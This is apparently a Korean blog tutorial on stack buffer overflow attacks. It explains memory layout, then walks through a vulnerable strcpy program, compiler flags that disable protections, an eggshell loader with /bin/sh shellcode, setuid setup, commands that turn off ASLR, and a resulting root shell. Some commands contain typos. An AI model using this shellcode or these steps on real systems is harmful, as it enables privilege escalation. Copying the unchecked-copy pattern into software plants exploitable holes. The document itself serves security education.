버퍼오버플로우는 무엇일까?

버퍼 오버플로우는 메모리 오류를 이용한 공격으로 스택, 힙등 다양한 버퍼오버플로우가 있습니다. 이때 버퍼오버플로우는 버퍼가 넘쳐서 다른 영역을 침범하는 것이라고 생각하면 간단합니다.

이것을 이용하여 해커들은 버퍼오버플로우 공격을 합니다.

리눅스에서 프로그램 실행시 메모리 구조는 아래와 같습니다.

stack(스택) : 스택은 후입선출의 특성을 가진 자료구조로 처음 들어간 데이터가 가장 늦게 나오는 구조를 가졌습니다. (지역변수할당, 함수에 매개변수 전달, 함수호출과 관련된 정보를 담는데에 사용)

heep(힙) : 동적인 메모리로 동적할당 할때 사용되는 메모리 입니다.

data(데이터) : 초기화된 데이터가 위치하는 영역으로 전역변수,정적변수등이 할당 되는 부분입니다.

code(코드) : d어셈블리나 기계어와 같은 명령어들이 위치하는 영역으로 실제 프로그램 실행코드가 담기는 부분입니다.

 

이 글에서는 stack에서의 버퍼 오버플로우를 실습하도록 하겠습니다.

 

스택 버퍼오버플로우 공격의 개념

스택의 구조를 보면 위와 같습니다. 

지역변수로 선언된 buffer[8]과 ebp 바이트, 그위에 return의 주소값이 저장되어 있습니다.

buffer[8]에 글자를 채우는것을 넘어서 ebp에 4byte까지 A라는 문자로 채우게 되면 return 주소값은 문자열의 마지막인 null이 들어가게 되는데, 이부분에 악성코드를 덮어 씌우는 겁니다.

그럼 프로그램이 return될때 원래 가야할 주소로 가지 못하고 공격자가 심어놓은 악성코드가 실행 되며 공격하는 것입니다.

 

스택 버퍼오버플로우 공격 실습

실습 환경은 리눅스 centos 6입니다.

1. bugfile 만들기

#include<stdio.h>

#include<string.h>

int main(int argc, char *argv[])

{

char buffer[8];

strcpy(buffer,argv[1]);

printf("%s\n",&buffer);

return 0;

}

위의 코드를 작성하고 bugfile.c로 저장해 줍시다.

저장후 gcc -o bugfile bugfile.c로 컴파일 하기

컴파일한 버그파일을 확인해 봅시다.

우리는 버그파일에 버퍼를 buffer[8]로 설정하였습니다.

그렇다면 세그먼테이션 오류가 나기 위해서는 buffer의 8+ ebp의 4=12,

12개 이상의 문자가 입력되면 세그먼테이션 오류가 발생해야 합니다.

하지만 실행 결과를 보면 그렇지 않습니다.

왜그럴까요?

gcc 컴파일러에 자체적으로 오버플로우를 방어하는 기능이 있기때문에

gcc 자체 오버플로우 방어 해제가 필요합니다.

gcc -fno-stack-protector -mpreferred-stack-boundarry=2 -z execstack -o bugfile bugfile.c 

위의 명령으로 다시 컴파일을 하여 gcc에 있는 자체 오버플로우 방어를 해제해 줍시다.

이제 a를 12개 입력하였을때 오류가 제대로 발생 합니다.

 

2. eggshell 만들기

eggshell은 기계어로 만든 코드를 메모리에 로드시키고 그시작주소를 알려주는 일종의 툴입니다.

아래의 코드를 eggshell.c로 작성하여 컴파일 하도록 합시다.

gcc -o egg eggshell.c

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 2048

#define NOP 0x90

char shellcode[] =

    "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"

    "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"

    "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"

    "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

    "\x00\xc9\xc3\x90/bin/sh";

unsigned long get_esp(void) {

    __asm__("movl %esp,%eax");

}

 

void main(int argc, char *argv[]) {

    char *buff, *ptr, *egg;

    long *addr_ptr, addr;

    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

    int i, eggsize=DEFAULT_EGG_SIZE;

    if(argc > 1) bsize = atoi(argv[1]);

    if(argc > 2) offset = atoi(argv[2]);

    if(argc > 3) eggsize = atoi(argv[3]);

    if(!(buff = malloc(bsize))) {

    printf("Can't allocate memory.\n");

    exit(0);

    }

    if(!(egg = malloc(eggsize))) {

        printf("Can't allocate memory.\n");

        exit(0);

    }

addr = get_esp() - offset;

    printf("Using address: 0x%x\n", addr);

    ptr = buff;

    addr_ptr = (long *) ptr;

    for(i = 0; i < bsize; i+=4)

        *(addr_ptr++) = addr;

    ptr = egg;

    for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)

        *(ptr++) = NOP;

    for(i = 0; i < strlen(shellcode); i++)

        *(ptr++) = shellcode[i];

    buff[bsize - 1] = '\0';

    egg[eggsize - 1] = '\0';

    memcpy(egg,"EGG=",4);

    putenv(egg);

    memcpy(buff,"RET=",4);

    putenv(buff);

    system("/bin/bash");

}

컴파일 후 일반사용자에서 이 프로그램을 실행할때에는 관리자 권한으로 실행 하도록 설정을 바꿔 주어야 합니다.

chmod 4775 eggshell 명령을 입력하여 권한을 재설정 해줍니다.

이제 공격을 할 준비가 끝났습니다.

3. 일반 사용자로 접속후 공격

관리자아이디 말고 다른 일반 아이디로 접속하여 실제로 공격해 봅시다.

./eggshell

./bugfile `perl -e 'print "a"x12, "egg에서 받은 주소 리틀엔디안으로"'`

위의 명령을 차례대로 입력해 봅시다.

공격에 성공하지 못했습니다!!! 왜이럴 까요?

리눅스에는 기본적으로 이러한 공격을 방어하기 위해서 ASLR이 설정되어 있습니다.

ASLR : 메모리 공격을 어렵게 하기위하여 주소를 랜덤으로 프로세스 주소 공간에 배치하여 실행할때마다 주소가 바뀌는 기법

ASLR을 해제해보도록 합시다.

해제 : sysctl -w kernel.randmoize_va_space=0

 

실행 : sysctl -w kernel.randmoize_va_space=1

해제 명령어를 실행 시켜 주시고 실습 후에는 꼭 다시 실행 시켜주세요.

이렇게 설정한뒤 다시 공격명령을 해봅시다.

./eggshell

./bugfile `perl -e 'print "a"x12, "egg에서 받은 주소 리틀엔디안으로"'

위처럼 공격에 성공하여 root계정 쉘로 접속한것을 확인하실수 있습니다.!

이상 스택 버퍼오버플로우 공격에 대해 알아보고 실습해보았습니다.

 

 

ps) 그런데 이렇게 해도 공격이 실패하는 경우가 있습니다.

이럴때에는 아래의 코드를 getenv.c(환경변수에 저장된 주소값 가져오기)로 작성하고 컴파일 한뒤 eggshell 실행후 ./getenv EGG 명령을 입력하여 나온 주소로 오버플로우 공격을 해보시기 바랍니다.

#include<stdio.h>

int main(int argc, char *argv[])

{

        if(argv<2)

        {

                printf("Usage : %s ENV_NAME \n",argv[0]);

                exit(1);

        }

        printf("%s Address : 0x%x\n",argv[1],getenv(argv[1]));

        return 0;

}

 

 

 

+ Recent posts